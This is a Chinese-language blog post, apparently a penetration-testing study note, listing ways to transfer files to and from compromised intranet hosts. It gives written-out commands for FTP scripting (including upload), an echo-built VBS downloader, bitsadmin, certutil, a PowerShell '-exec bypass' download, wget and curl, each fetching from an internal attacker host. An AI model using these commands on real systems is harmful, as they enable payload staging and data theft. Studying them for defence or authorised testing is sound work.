內網滲透之文件下載


之前把關於內網的大塊知識點基本都水了一遍,想起來最近聽HW的朋友說有他面試有問過這個問題,我自己也想了一下,感覺答得不是很全面

今天就參考網上常見的辦法,整理了一些個人了解的常見的內網滲透中的文件下載方式,歡迎師傅們補充

都是很通用的辦法,沒什么復雜的地方,不演示了

 

 

 

1.FTP

正常Windows平台都支持FTP

 

常見的FTP命令:

open <ftp服務器地址>:連接指定的FTP服務器

cd:進入指定的目錄

put/send <本地文件> <遠程目錄>:將目標機器本地文件上傳到服務器遠程目錄     // send和put方法用法都基本相同,但是上傳速度send卻要比put快很多

get <遠程文件> <本地目錄>:將ftp服務器上的文件下載到本地目標機器中

等等。。。。。。

 詳情參考:https://blog.csdn.net/IndexMan/article/details/46387561

https://www.cnblogs.com/emilyyoucan/p/7550574.html

(FTP可以下載,自然也可以用於上傳)

 

舉個例子,可以使用CMD命令一條條敲,在CMD顯示的路徑下,生成ftp.txt文件,例如:

echo open 192.168.1.18 21>> ftp.txt
echo username>> ftp.txt   //用戶名
echo password>> ftp.txt   //密碼
echo binary >> ftp.txt     //用bin模式,通用性比ascii模式好傳得快,傳文本、圖片、壓縮文件、可執行文件都可以
echo get robots.txt >> ftp.txt

echo bye >> ftp.txt

 

即把

open 192.168.1.18 21

username

password

binary

get robots.txt

bye

寫進我自己機器某路徑下的ftp.txt中
之后在cmd中ftp -s:ftp.txt ,執行ftp.txt文件,實現對目標的robots.txt文件的下載

 

也可以一條條命令單獨寫,單獨執行,不寫進腳本

 

 

2.vbs

在cmd命令中執行,下面的命令,在當前目錄下生成hhh.vbs腳本,執行腳本,將目標的art.php下載到本地的d:\目錄下重命名為myart.php

(這個生成的vbs腳本是不免殺的)

echo Set Post = CreateObject("Msxml2.XMLHTTP") >>hhh.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>hhh.vbs
echo Post.Open "GET","http://192.168.1.17/art.php",0 >>hhh.vbs
echo Post.Send() >>hhh.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>hhh.vbs
echo aGet.Mode = 3 >>hhh.vbs
echo aGet.Type = 1 >>hhh.vbs
echo aGet.Open() >>hhh.vbs
echo aGet.Write(Post.responseBody) >>hhh.vbs
echo aGet.SaveToFile "d:\myart.php",2 >>hhh.vbs

 

 

 

 

 

 

 

 

 

3.bitsadmin

win7以上Windows系統自帶功能

 

bitsadmin /transfer <任務名> <remote_url> <local_name>

例如:

bitsadmin /transfer n http://192.168.1.17/art.php D:\1\myart.php  n為任務號

 

bitsadmin要求服務器支持Range標頭

如下載大文件,需要提高優先級的,在上面正常命令后加一條:

 bitsadmin /setpriority n foreground

 

4.certutil

和bitsadmin一樣,也是Windows自帶的功能

certutil -urlcache -split -f http://192.168.1.17/art.php D:\1\myart.php

問題是每次下載都有緩存

需要執行

certutil -urlcache -split -f http://192.168.1.17/art.php  delete

來清除數據緩存

參考:https://www.cnblogs.com/backlion/p/7325228.html

 

5.Powershell

可以利用Powershell一句話下載
例如,cmd執行:
powershell -exec bypass -c (New-Object System.Net.WebClient).DownloadFile('http://192.168.1.17/art.php','D:\1\myart.php')

也可以寫ps1腳本

 

或者打開powershell利用$client

$client = new-object System.Net.WebClient

$client.DownloadFile('http://192.168.1.17/art.php','D:\1\myart.php')

 

 

6.wget

以上都着重介紹了Windows中常見的下載方法,而wget則是Linux中常見的下載方法之一

雖然說Windows下也可以用wget,需要下載exe文件到目標機器再執行,多此一舉

 

在Linux中直接執行例如:wget http://192.168.1.17/art.php

更多命令參考:https://www.cnblogs.com/sx66/p/11887022.html

 

7.curl

又一個Linux平台的文件數據傳輸方法

可以加--output接文件名:

curl http://192.168.1.17/art.php --output myphp.php

更多命令參考:https://blog.csdn.net/zhujy5/article/details/88391070

 

 

8.其他

還有一些其他的下載方法,比如寫各種腳本(python或者其他的)、兩台主機netcat互傳、文件共享、git clone、Linux下的scp、rz命令等等......不介紹了,參考網上其他師傅們的文章吧

 

 

未經允許,禁止轉載

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM